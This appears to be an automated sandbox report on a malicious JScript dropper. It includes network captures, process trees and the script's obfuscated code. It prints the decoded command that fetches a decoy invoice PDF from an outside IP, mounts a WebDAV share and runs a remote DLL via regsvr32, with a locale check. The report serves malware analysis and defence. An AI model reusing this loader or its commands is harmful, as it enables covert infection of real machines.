Jan 11, 2025 00:06:29.428961039 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 00:06:29.429102898 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 00:06:29.429148912 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 00:06:29.429162025 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 00:06:29.429182053 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 11, 2025 00:06:29.429197073 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 11, 2025 00:06:29.429209948 CET	600	IN	Data Raw: 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 c0 e6 ac da 4b b0 a3 16 39 30 34 8c Data Ascii: Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L
Jan 11, 2025 00:06:29.474853039 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	193.143.1.205	8888	6188	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 00:06:31.034940958 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 00:06:31.846429110 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 23:06:31 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	18:06:24
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5197307041739714413.js"
Imagebase:	0x7ff635400000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	18:06:24
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll
Imagebase:	0x7ff7c8ae0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	18:06:25
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	18:06:25
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	18:06:30
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	18:06:30
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7c8ae0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	18:06:30
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff704e00000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	18:06:30
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	18:06:31
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	18:06:31
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1640,i,5951722315745381644,10775437152461943238,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function thrwckni() {	thrwckni() ➔ undefined
1	icoylrjop = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var lsdvuhbjz = this[azfamfkv + qnpdeh + bpuyaflzh + speqo + xzziz + eytuyxbna + kvtjhrydn + qoxunfjq] ( this[znzxrayg + yndljuc + nladsl + bpuyaflzh + iwmyaghes + azfamfkv + qoxunfjq][wluwxusc + bpuyaflzh + xzziz + qnpdeh + qoxunfjq + xzziz + xsecxcmlk + bfnbcsbv + sjvubpt + xzziz + nladsl + qoxunfjq] ( znzxrayg + yndljuc + nladsl + bpuyaflzh + iwmyaghes + azfamfkv + qoxunfjq + ffvichkvm + yndljuc + yswyjcz + xzziz + qpuprd + qpuprd ) [syzqlapg + xzziz + sqewa + syzqlapg + xzziz + qnpdeh + xrkrptt] ( frvtpe + ekbrcsf + plact + vlpimdpyb + ahxcziax + wluwxusc + psaflj + syzqlapg + syzqlapg + plact + cbiesd + mnqggyub + ahxcziax + psaflj + yndljuc + plact + syzqlapg + pphnaq + wluwxusc + kmvzryw + kvtjhrydn + qoxunfjq + bpuyaflzh + kmvzryw + qpuprd + jamdosmo + sbpbwwqif + qnpdeh + kvtjhrydn + xzziz + qpuprd + pphnaq + eytuyxbna + kvtjhrydn + qoxunfjq + xzziz + bpuyaflzh + kvtjhrydn + qnpdeh + qoxunfjq + iwmyaghes + kmvzryw + kvtjhrydn + qnpdeh + qpuprd + pphnaq + zhwvd + kmvzryw + nladsl + qnpdeh + qpuprd + xzziz ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( rwjem = 0 ; rwjem < icoylrjop[qpuprd + xzziz + kvtjhrydn + sqewa + qoxunfjq + yswyjcz] ; ++ rwjem )
4	{
5	if ( lsdvuhbjz == icoylrjop[rwjem] )
6	{
7	lsdvuhbjz = true;
8	break ;
9	}
10	}
11	if ( lsdvuhbjz !== true )
12	this[znzxrayg + yndljuc + nladsl + bpuyaflzh + iwmyaghes + azfamfkv + qoxunfjq][hdunvpa + ccbce + iwmyaghes + qoxunfjq] ( );
13	this[znzxrayg + yndljuc + nladsl + bpuyaflzh + iwmyaghes + azfamfkv + qoxunfjq][wluwxusc + bpuyaflzh + xzziz + qnpdeh + qoxunfjq + xzziz + xsecxcmlk + bfnbcsbv + sjvubpt + xzziz + nladsl + qoxunfjq] ( znzxrayg + yndljuc + nladsl + bpuyaflzh + iwmyaghes + azfamfkv + qoxunfjq + ffvichkvm + yndljuc + yswyjcz + xzziz + qpuprd + qpuprd ) [bpuyaflzh + ccbce + kvtjhrydn] ( nladsl + myvydq + xrkrptt + jamdosmo + bwsibi + nladsl + jamdosmo + azfamfkv + kmvzryw + mmclewoa + xzziz + bpuyaflzh + speqo + yswyjcz + xzziz + qpuprd + qpuprd + ffvichkvm + xzziz + qgrlqxpu + xzziz + jamdosmo + idyuoitd + wluwxusc + kmvzryw + myvydq + myvydq + qnpdeh + kvtjhrydn + xrkrptt + jamdosmo + qmamo + eytuyxbna + kvtjhrydn + rzksedvz + kmvzryw + qzrcl + xzziz + idyuoitd + znzxrayg + xzziz + bfnbcsbv + syzqlapg + xzziz + fwayxvu + ccbce + xzziz + speqo + qoxunfjq + jamdosmo + idyuoitd + xsecxcmlk + ccbce + qoxunfjq + svanojacg + iwmyaghes + qpuprd + xzziz + jamdosmo + uylbdie + qoxunfjq + xzziz + myvydq + azfamfkv + uylbdie + pphnaq + iwmyaghes + kvtjhrydn + rzksedvz + kmvzryw + iwmyaghes + nladsl + xzziz + ffvichkvm + azfamfkv + xrkrptt + sprvhuek + jamdosmo + yswyjcz + qoxunfjq + qoxunfjq + azfamfkv + xjvbmk + bwsibi + bwsibi + dvcxd + imnsuov + bsgdne + ffvichkvm + dvcxd + vqzyunvf + bsgdne + ffvichkvm + dvcxd + ffvichkvm + tzugg + bgdffnfnv + domcu + bwsibi + iwmyaghes + kvtjhrydn + rzksedvz + kmvzryw + iwmyaghes + nladsl + xzziz + ffvichkvm + azfamfkv + yswyjcz + azfamfkv + qmamo + vxoizw + vxoizw + speqo + qoxunfjq + qnpdeh + bpuyaflzh + qoxunfjq + jamdosmo + uylbdie + qoxunfjq + xzziz + myvydq + azfamfkv + uylbdie + pphnaq + iwmyaghes + kvtjhrydn + rzksedvz + kmvzryw + iwmyaghes + nladsl + xzziz + ffvichkvm + azfamfkv + xrkrptt + sprvhuek + vxoizw + vxoizw + nladsl + myvydq + xrkrptt + jamdosmo + bwsibi + nladsl + jamdosmo + kvtjhrydn + xzziz + qoxunfjq + jamdosmo + ccbce + speqo + xzziz + jamdosmo + pphnaq + pphnaq + dvcxd + imnsuov + bsgdne + ffvichkvm + dvcxd + vqzyunvf + bsgdne + ffvichkvm + dvcxd + ffvichkvm + tzugg + bgdffnfnv + domcu + pvrffmv + vcjimev + vcjimev + vcjimev + vcjimev + pphnaq + xrkrptt + qnpdeh + rzksedvz + mmclewoa + mmclewoa + mmclewoa + bpuyaflzh + kmvzryw + kmvzryw + qoxunfjq + pphnaq + vxoizw + vxoizw + nladsl + myvydq + xrkrptt + jamdosmo + bwsibi + nladsl + jamdosmo + bpuyaflzh + xzziz + sqewa + speqo + rzksedvz + bpuyaflzh + bsgdne + tzugg + jamdosmo + bwsibi + speqo + jamdosmo + pphnaq + pphnaq + dvcxd + imnsuov + bsgdne + ffvichkvm + dvcxd + vqzyunvf + bsgdne + ffvichkvm + dvcxd + ffvichkvm + tzugg + bgdffnfnv + domcu + pvrffmv + vcjimev + vcjimev + vcjimev + vcjimev + pphnaq + xrkrptt + qnpdeh + rzksedvz + mmclewoa + mmclewoa + mmclewoa + bpuyaflzh + kmvzryw + kmvzryw + qoxunfjq + pphnaq + dvcxd + lpmlqg + tzugg + lpmlqg + vqzyunvf + dvcxd + imnsuov + tzugg + dvcxd + bgdffnfnv + tzugg + domcu + vcjimev + domcu + vqzyunvf + ffvichkvm + xrkrptt + qpuprd + qpuprd, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\172741921025854.dll",0,false) ➔ 0
14	}
15	ahxcziax = "f";
16	ahxcziax = "N";
17	ahxcziax = "R";
18	ahxcziax = "M";
19	ahxcziax = "v";
20	ahxcziax = "z";
21	ahxcziax = "u";
22	ahxcziax = "u";
23	ahxcziax = "Q";
24	ahxcziax = "M";
25	ahxcziax = "C";
26	ahxcziax = "x";
27	ahxcziax = "H";
28	ahxcziax = "I";
29	ahxcziax = "m";
30	ahxcziax = "r";
31	ahxcziax = "z";
32	ahxcziax = "u";
33	ahxcziax = "u";
34	ahxcziax = "u";
35	ahxcziax = "L";
36	ahxcziax = "Y";
37	ahxcziax = "j";
38	ahxcziax = "N";
39	ahxcziax = "e";
40	ahxcziax = "P";
41	ahxcziax = "_";
42	uylbdie = "L";
43	uylbdie = "c";
44	uylbdie = "r";
45	uylbdie = "c";
46	uylbdie = "O";
47	uylbdie = "E";
48	uylbdie = "a";
49	uylbdie = "P";
50	uylbdie = "u";
51	uylbdie = "I";
52	uylbdie = "Y";
53	uylbdie = "P";
54	uylbdie = "H";
55	uylbdie = "V";
56	uylbdie = "M";
57	uylbdie = "f";
58	uylbdie = "U";
59	uylbdie = "%";
60	qpuprd = "g";
61	qpuprd = "V";
62	qpuprd = "t";
63	qpuprd = "N";
64	qpuprd = "A";
65	qpuprd = "M";
66	qpuprd = "C";
67	qpuprd = "N";
68	qpuprd = "q";
69	qpuprd = "W";
70	qpuprd = "c";
71	qpuprd = "t";
72	qpuprd = "X";
73	qpuprd = "x";
74	qpuprd = "I";
75	qpuprd = "y";
76	qpuprd = "W";
77	qpuprd = "v";
78	qpuprd = "t";
79	qpuprd = "J";
80	qpuprd = "M";
81	qpuprd = "F";
82	qpuprd = "L";
83	qpuprd = "t";
84	qpuprd = "j";
85	qpuprd = "e";
86	qpuprd = "h";
87	qpuprd = "G";
88	qpuprd = "a";
89	qpuprd = "K";
90	qpuprd = "L";
91	qpuprd = "s";
92	qpuprd = "v";
93	qpuprd = "h";
94	qpuprd = "l";
95	dvcxd = "m";
96	dvcxd = "1";
97	vlpimdpyb = "n";
98	vlpimdpyb = "p";
99	vlpimdpyb = "u";
100	vlpimdpyb = "V";
101	vlpimdpyb = "f";
102	vlpimdpyb = "G";
103	vlpimdpyb = "R";
104	vlpimdpyb = "k";
105	vlpimdpyb = "h";
106	vlpimdpyb = "V";
107	vlpimdpyb = "Y";
108	vlpimdpyb = "O";
109	vlpimdpyb = "I";
110	vlpimdpyb = "A";
111	vlpimdpyb = "Q";
112	vlpimdpyb = "j";
113	vlpimdpyb = "u";
114	vlpimdpyb = "X";
115	vlpimdpyb = "b";
116	vlpimdpyb = "L";
117	vlpimdpyb = "c";
118	vlpimdpyb = "c";
119	vlpimdpyb = "G";
120	vlpimdpyb = "a";
121	vlpimdpyb = "D";
122	vlpimdpyb = "r";
123	vlpimdpyb = "V";
124	vlpimdpyb = "X";
125	vlpimdpyb = "f";
126	vlpimdpyb = "n";
127	vlpimdpyb = "C";
128	vlpimdpyb = "K";
129	vlpimdpyb = "l";
130	vlpimdpyb = "y";
131	vlpimdpyb = "K";
132	vlpimdpyb = "r";
133	vlpimdpyb = "I";
134	vlpimdpyb = "Y";
135	vlpimdpyb = "c";
136	vlpimdpyb = "Y";
137	qgrlqxpu = "B";
138	qgrlqxpu = "c";
139	qgrlqxpu = "S";
140	qgrlqxpu = "X";
141	qgrlqxpu = "h";
142	qgrlqxpu = "n";
143	qgrlqxpu = "L";
144	qgrlqxpu = "w";
145	qgrlqxpu = "G";
146	qgrlqxpu = "H";
147	qgrlqxpu = "h";
148	qgrlqxpu = "m";
149	qgrlqxpu = "v";
150	qgrlqxpu = "Z";
151	qgrlqxpu = "t";
152	qgrlqxpu = "N";
153	qgrlqxpu = "w";
154	qgrlqxpu = "I";
155	qgrlqxpu = "F";
156	qgrlqxpu = "i";
157	qgrlqxpu = "R";
158	qgrlqxpu = "R";
159	qgrlqxpu = "o";
160	qgrlqxpu = "S";
161	qgrlqxpu = "S";
162	qgrlqxpu = "Y";
163	qgrlqxpu = "s";
164	qgrlqxpu = "d";
165	qgrlqxpu = "D";
166	qgrlqxpu = "E";
167	qgrlqxpu = "c";
168	qgrlqxpu = "J";
169	qgrlqxpu = "t";
170	qgrlqxpu = "t";
171	qgrlqxpu = "R";
172	qgrlqxpu = "Y";
173	qgrlqxpu = "O";
174	qgrlqxpu = "h";
175	qgrlqxpu = "U";
176	qgrlqxpu = "x";
177	rzksedvz = "S";
178	rzksedvz = "H";
179	rzksedvz = "u";
180	rzksedvz = "K";
181	rzksedvz = "U";
182	rzksedvz = "w";
183	rzksedvz = "s";
184	rzksedvz = "T";
185	rzksedvz = "v";
186	kvtjhrydn = "t";
187	kvtjhrydn = "O";
188	kvtjhrydn = "T";
189	kvtjhrydn = "q";
190	kvtjhrydn = "u";
191	kvtjhrydn = "n";
192	kvtjhrydn = "n";
193	kvtjhrydn = "z";
194	kvtjhrydn = "W";
195	kvtjhrydn = "I";
196	kvtjhrydn = "J";
197	kvtjhrydn = "x";
198	kvtjhrydn = "O";
199	kvtjhrydn = "o";
200	kvtjhrydn = "e";
201	kvtjhrydn = "h";
202	kvtjhrydn = "S";
203	kvtjhrydn = "v";
204	kvtjhrydn = "S";
205	kvtjhrydn = "U";
206	kvtjhrydn = "r";
207	kvtjhrydn = "Y";
208	kvtjhrydn = "c";
209	kvtjhrydn = "P";
210	kvtjhrydn = "i";
211	kvtjhrydn = "d";
212	kvtjhrydn = "t";
213	kvtjhrydn = "a";
214	kvtjhrydn = "g";
215	kvtjhrydn = "j";
216	kvtjhrydn = "q";
217	kvtjhrydn = "G";
218	kvtjhrydn = "y";
219	kvtjhrydn = "b";
220	kvtjhrydn = "M";
221	kvtjhrydn = "j";
222	kvtjhrydn = "S";
223	kvtjhrydn = "d";
224	kvtjhrydn = "n";
225	kvtjhrydn = "Q";
226	kvtjhrydn = "n";
227	iwmyaghes = "V";
228	iwmyaghes = "d";
229	iwmyaghes = "c";
230	iwmyaghes = "h";
231	iwmyaghes = "b";
232	iwmyaghes = "n";
233	iwmyaghes = "L";
234	iwmyaghes = "s";
235	iwmyaghes = "e";
236	iwmyaghes = "Q";
237	iwmyaghes = "e";
238	iwmyaghes = "L";
239	iwmyaghes = "z";
240	iwmyaghes = "o";
241	iwmyaghes = "S";
242	iwmyaghes = "k";
243	iwmyaghes = "t";
244	iwmyaghes = "e";
245	iwmyaghes = "y";
246	iwmyaghes = "C";
247	iwmyaghes = "f";
248	iwmyaghes = "i";
249	iwmyaghes = "L";
250	iwmyaghes = "r";
251	iwmyaghes = "b";
252	iwmyaghes = "l";
253	iwmyaghes = "r";
254	iwmyaghes = "z";
255	iwmyaghes = "p";
256	iwmyaghes = "i";
257	sprvhuek = "E";
258	sprvhuek = "t";
259	sprvhuek = "y";
260	sprvhuek = "o";
261	sprvhuek = "W";
262	sprvhuek = "E";
263	sprvhuek = "Z";
264	sprvhuek = "Y";
265	sprvhuek = "z";
266	sprvhuek = "z";
267	sprvhuek = "o";
268	sprvhuek = "A";
269	sprvhuek = "a";
270	sprvhuek = "t";
271	sprvhuek = "o";
272	sprvhuek = "b";
273	sprvhuek = "i";
274	sprvhuek = "l";
275	sprvhuek = "e";
276	sprvhuek = "G";
277	sprvhuek = "G";
278	sprvhuek = "J";
279	sprvhuek = "i";
280	sprvhuek = "W";
281	sprvhuek = "l";
282	sprvhuek = "f";
283	lpmlqg = "s";
284	lpmlqg = "q";
285	lpmlqg = "A";
286	lpmlqg = "Z";
287	lpmlqg = "W";
288	lpmlqg = "e";
289	lpmlqg = "c";
290	lpmlqg = "d";
291	lpmlqg = "X";
292	lpmlqg = "l";
293	lpmlqg = "U";
294	lpmlqg = "e";
295	lpmlqg = "i";
296	lpmlqg = "m";
297	lpmlqg = "7";
298	speqo = "B";
299	speqo = "E";
300	speqo = "l";
301	speqo = "v";
302	speqo = "H";
303	speqo = "d";
304	speqo = "g";
305	speqo = "V";
306	speqo = "U";
307	speqo = "Z";
308	speqo = "m";
309	speqo = "t";
310	speqo = "y";
311	speqo = "G";
312	speqo = "s";
313	speqo = "e";
314	speqo = "i";
315	speqo = "k";
316	speqo = "u";
317	speqo = "p";
318	speqo = "i";
319	speqo = "R";
320	speqo = "N";
321	speqo = "E";
322	speqo = "q";
323	speqo = "k";
324	speqo = "c";
325	speqo = "P";
326	speqo = "e";
327	speqo = "D";
328	speqo = "s";
329	speqo = "B";
330	speqo = "M";
331	speqo = "R";
332	speqo = "s";
333	bpuyaflzh = "G";
334	bpuyaflzh = "C";
335	bpuyaflzh = "w";
336	bpuyaflzh = "U";
337	bpuyaflzh = "G";
338	bpuyaflzh = "D";
339	bpuyaflzh = "s";
340	bpuyaflzh = "u";
341	bpuyaflzh = "B";
342	bpuyaflzh = "h";
343	bpuyaflzh = "a";
344	bpuyaflzh = "X";
345	bpuyaflzh = "Q";
346	bpuyaflzh = "m";
347	bpuyaflzh = "Z";
348	bpuyaflzh = "N";
349	bpuyaflzh = "d";
350	bpuyaflzh = "y";
351	bpuyaflzh = "b";
352	bpuyaflzh = "L";
353	bpuyaflzh = "L";
354	bpuyaflzh = "u";
355	bpuyaflzh = "y";
356	bpuyaflzh = "H";
357	bpuyaflzh = "f";
358	bpuyaflzh = "C";
359	bpuyaflzh = "Y";
360	bpuyaflzh = "w";
361	bpuyaflzh = "k";
362	bpuyaflzh = "X";
363	bpuyaflzh = "U";
364	bpuyaflzh = "X";
365	bpuyaflzh = "o";
366	bpuyaflzh = "m";
367	bpuyaflzh = "S";
368	bpuyaflzh = "j";
369	bpuyaflzh = "Y";
370	bpuyaflzh = "n";
371	bpuyaflzh = "K";
372	bpuyaflzh = "s";
373	bpuyaflzh = "e";
374	bpuyaflzh = "Q";
375	bpuyaflzh = "r";
376	pvrffmv = "x";
377	pvrffmv = "d";
378	pvrffmv = "N";
379	pvrffmv = "c";
380	pvrffmv = "y";
381	pvrffmv = "D";
382	pvrffmv = "r";
383	pvrffmv = "G";
384	pvrffmv = "h";
385	pvrffmv = "E";
386	pvrffmv = "C";
387	pvrffmv = "C";
388	pvrffmv = "@";
389	azfamfkv = "n";
390	azfamfkv = "Y";
391	azfamfkv = "n";
392	azfamfkv = "z";
393	azfamfkv = "U";
394	azfamfkv = "e";
395	azfamfkv = "T";
396	azfamfkv = "B";
397	azfamfkv = "l";
398	azfamfkv = "w";
399	azfamfkv = "r";
400	azfamfkv = "J";
401	azfamfkv = "z";
402	azfamfkv = "K";
403	azfamfkv = "I";
404	azfamfkv = "q";
405	azfamfkv = "K";
406	azfamfkv = "I";
407	azfamfkv = "M";
408	azfamfkv = "p";
409	azfamfkv = "l";
410	azfamfkv = "t";
411	azfamfkv = "t";
412	azfamfkv = "t";
413	azfamfkv = "M";
414	azfamfkv = "f";
415	azfamfkv = "G";
416	azfamfkv = "K";
417	azfamfkv = "m";
418	azfamfkv = "H";
419	azfamfkv = "E";
420	azfamfkv = "K";
421	azfamfkv = "w";
422	azfamfkv = "p";
423	xrkrptt = "J";
424	xrkrptt = "Z";
425	xrkrptt = "l";
426	xrkrptt = "b";
427	xrkrptt = "j";
428	xrkrptt = "i";
429	xrkrptt = "T";
430	xrkrptt = "l";
431	xrkrptt = "z";
432	xrkrptt = "D";
433	xrkrptt = "r";
434	xrkrptt = "T";
435	xrkrptt = "w";
436	xrkrptt = "q";
437	xrkrptt = "n";
438	xrkrptt = "t";
439	xrkrptt = "o";
440	xrkrptt = "t";
441	xrkrptt = "b";
442	xrkrptt = "O";
443	xrkrptt = "s";
444	xrkrptt = "a";
445	xrkrptt = "S";
